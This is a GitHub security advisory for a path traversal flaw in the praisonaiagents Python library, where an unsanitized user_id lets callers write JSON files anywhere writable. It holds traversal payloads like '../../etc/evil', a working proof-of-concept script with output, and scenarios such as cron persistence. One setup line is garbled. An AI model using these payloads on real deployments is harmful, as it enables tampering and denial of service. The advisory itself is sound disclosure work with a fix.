GitHub Advisoryadvisory · PyPI
GHSA-gxmw-5f7x-6g22 praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location
HIGH
Official page ↗
- Aliases
- CVE-2026-55527
- Ecosystem
- PyPI
- Packages
- praisonaiagents
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
- Weaknesses
- CWE-22, CWE-73
- Reviewed
- 2026-08-25
Affected packages
• PyPI praisonaiagents: < 1.6.58 → fixed in 1.6.58
Description
Summary
`praisonaiagents/memory/file_memory.py::FileMemory.__init__()` constructs all
memory file paths by directly joining the `user_id` parameter to a base path:
```python
self.user_path = self.base_path / user_id # LINE 145 — no sanitization
```
No validation or normalization is applied to `user_id` before the path join.
An attacker who can supply a `user_id` containing `../` sequences can write
arbitrary JSON files (memory content) to any writable location on the filesystem.
The vulnerability is confirmed live on the current `main` branch
(`praisonaiagents==1.6.52`) and is distinct from GHSA-766v-q9x3-g744
(which covered `MultiAgentMonitor` in an example file, not `FileMemory` in the
core library).
Details
Vulnerable code — `praisonaiagents/memory/file_memory.py` lines 139-157:
```python
def __init__(
self,
user_id: str = "default",
base_path: Optional[str] = None,
...
):
...
self.user_path = self.base_path / user_id # LINE 145 — NO SANITIZATION
self.episodic_path = self.user_path / "episodic"
self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path
self.episodic_path.mkdir(parents=True, exist_ok=True)
self.config_file = self.user_path / "config.json"
self.short_term_file = self.user_path / "short_term.json"
self.long_term_file = self.user_path / "long_term.json"
self.entities_file = self.user_path / "entities.json"
self.summaries_file = self.user_path / "summaries.json"
```
All five JSON files are written under `user_path`, which is directly derived from
the attacker-controlled `user_id`. The written content is valid JSON in the memory
item format (configurable user content + metadata).
Comparison with the patched reference — `praisonaiagents/storage/backends.py`
(SQLiteBackend):
The sibling `SQLiteBackend` validates its `table_name` with a regex:
```python
if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
raise ValueError(...)
```
No equivalent validation exists in `FileMemory`.
Attack chains:
*A — Direct Python API (any caller):*
```python
from praisonaiagents.memory.file_memory import FileMemory
mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
Creates /etc/evil/short_term.json (on Linux)
Creates C:\evil\short_term.json (on Windows)
```
*B — Via `Agent` constructor (memory dict):*
```python
from praisonaiagents import Agent
agent = Agent(
name="assistant",
memory={"provider": "file", "user_id": "../../etc/evil"},
instructions="You are a helpful assistant.",
)
FileMemory(user_id="../../etc/evil") called at agent init
```
*C — Via agents.yaml / job submission (`agent_yaml` field):*
```yaml
Submitted via POST /jobs with agent_yaml:
agents:
researcher:
memory:
provider: file
user_id: "../../tmp/evil"
role: "Research assistant"
goal: "Research topics"
```
`agents_generator.py` passes the `memory.user_id` value to the `Agent` constructor.
PoC
Environment: Python 3.9+, `praisonaiagents /tmp/evil_escape
```
Step 2 — Live exploit (files written outside base):
```python
import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory
BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)
TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()
mem = FileMemory(user_id="../../praisonai_path_traversal_proof", base_path=str(BASE))
mem.add_short_term("PROOF_OF_TRAVERSAL: attacker wrote this")
mem.add_long_term("SENSITIVE_DATA", importance=0.9)
Verify files appeared OUTSIDE the base directory
for fname in ["short_term.json", "long_term.json", "config.json"]:
f = TARGET / fname
if f.exists():
print(f"WRITTEN: {f}")
print(f"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}")
```
Observed output (run on current `main`):
```
WRITTEN: /praisonai_path_traversal_proof/short_term.json
Content: PROOF_OF_TRAVERSAL: attacker wrote this
WRITTEN: /praisonai_path_traversal_proof/long_term.json
Content: SENSITIVE_DATA
WRITTEN: /praisonai_path_traversal_proof/config.json
```
Impact
What kind of vulnerability: Arbitrary file write via path traversal.
Any JSON content can be written to any filesystem path writable by the process.
Who is impacted:
• Any application that creates `FileMemory` instances with user-controlled `user_id`
• Any PraisonAI deployment where users can supply the `user_id` parameter directly
or indirectly (via `Agent(memory={"user_id": ...})`, agents.yaml, or jobs API)
High-impact scenarios:
1. Overwrite Python package files: On systems where Python packages are stored
in a world-writable or user-writable path, JSON files can be written over package
files, causing import failures or (in edge cases) execution if a JSON parser is
swapped for a Python parser.
2. Overwrite web server / app config: Write `config.json` or `settings.json`
to an app's configuration directory, potentially modifying runtime behavior.
3. Cron / startup persistence: Write JSON files to `/etc/cron.d/` paths
(Linux) or `%APPDATA%\Startup\` (Windows) directories that might be interpreted
by monitoring systems.
4. Denial of Service: Write large JSON memory files into system directories,
filling disk space or overwriting critical config files.
5. Multi-tenant deployments: In a multi-tenant PraisonAI deployment where
users can create agents with custom memory configs, one user can read/overwrite
another user's memory files by traversing to their path.
Distinction from GHSA-766v-q9x3-g744:
| | GHSA-766v-q9x3-g744 | This finding |
|---|---|---|
| File | `examples/context/12_multi_agent_context.py` (example) | `praisonaiagents/memory/file_memory.py` (core library) |
| Class | `MultiAgentMonitor` | `FileMemory` |
| Fixed in | `praisonaiagents >= 1.5.115` | Not patched (affects 1.6.52) |
```
---
Remediation Suggestion (for maintainers)
Validate and resolve `user_id` before using it in path construction:
```python
def __init__(self, user_id: str = "default", base_path=None, ...):
...
# ADDED: sanitize user_id
import re
if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_id):
raise ValueError(
f"user_id '{user_id}' contains invalid characters. "
f"Only alphanumeric characters, hyphens, underscores, and dots are allowed."
)
self.user_path = self.base_path / user_id
# ADDED: verify the resolved path is within base (defense-in-depth)
resolved = self.user_path.resolve()
base_resolved = self.base_path.resolve()
try:
resolved.relative_to(base_resolved)
except ValueError:
raise ValueError(
f"user_id '{user_id}' would write outside the base memory directory."
)
```
The same pattern should be applied to `base_path` parameter.
Related
Alias · CVE (1)
- CVE-2026-55527 PraisonAI is a multi-agent teams system. vulnerability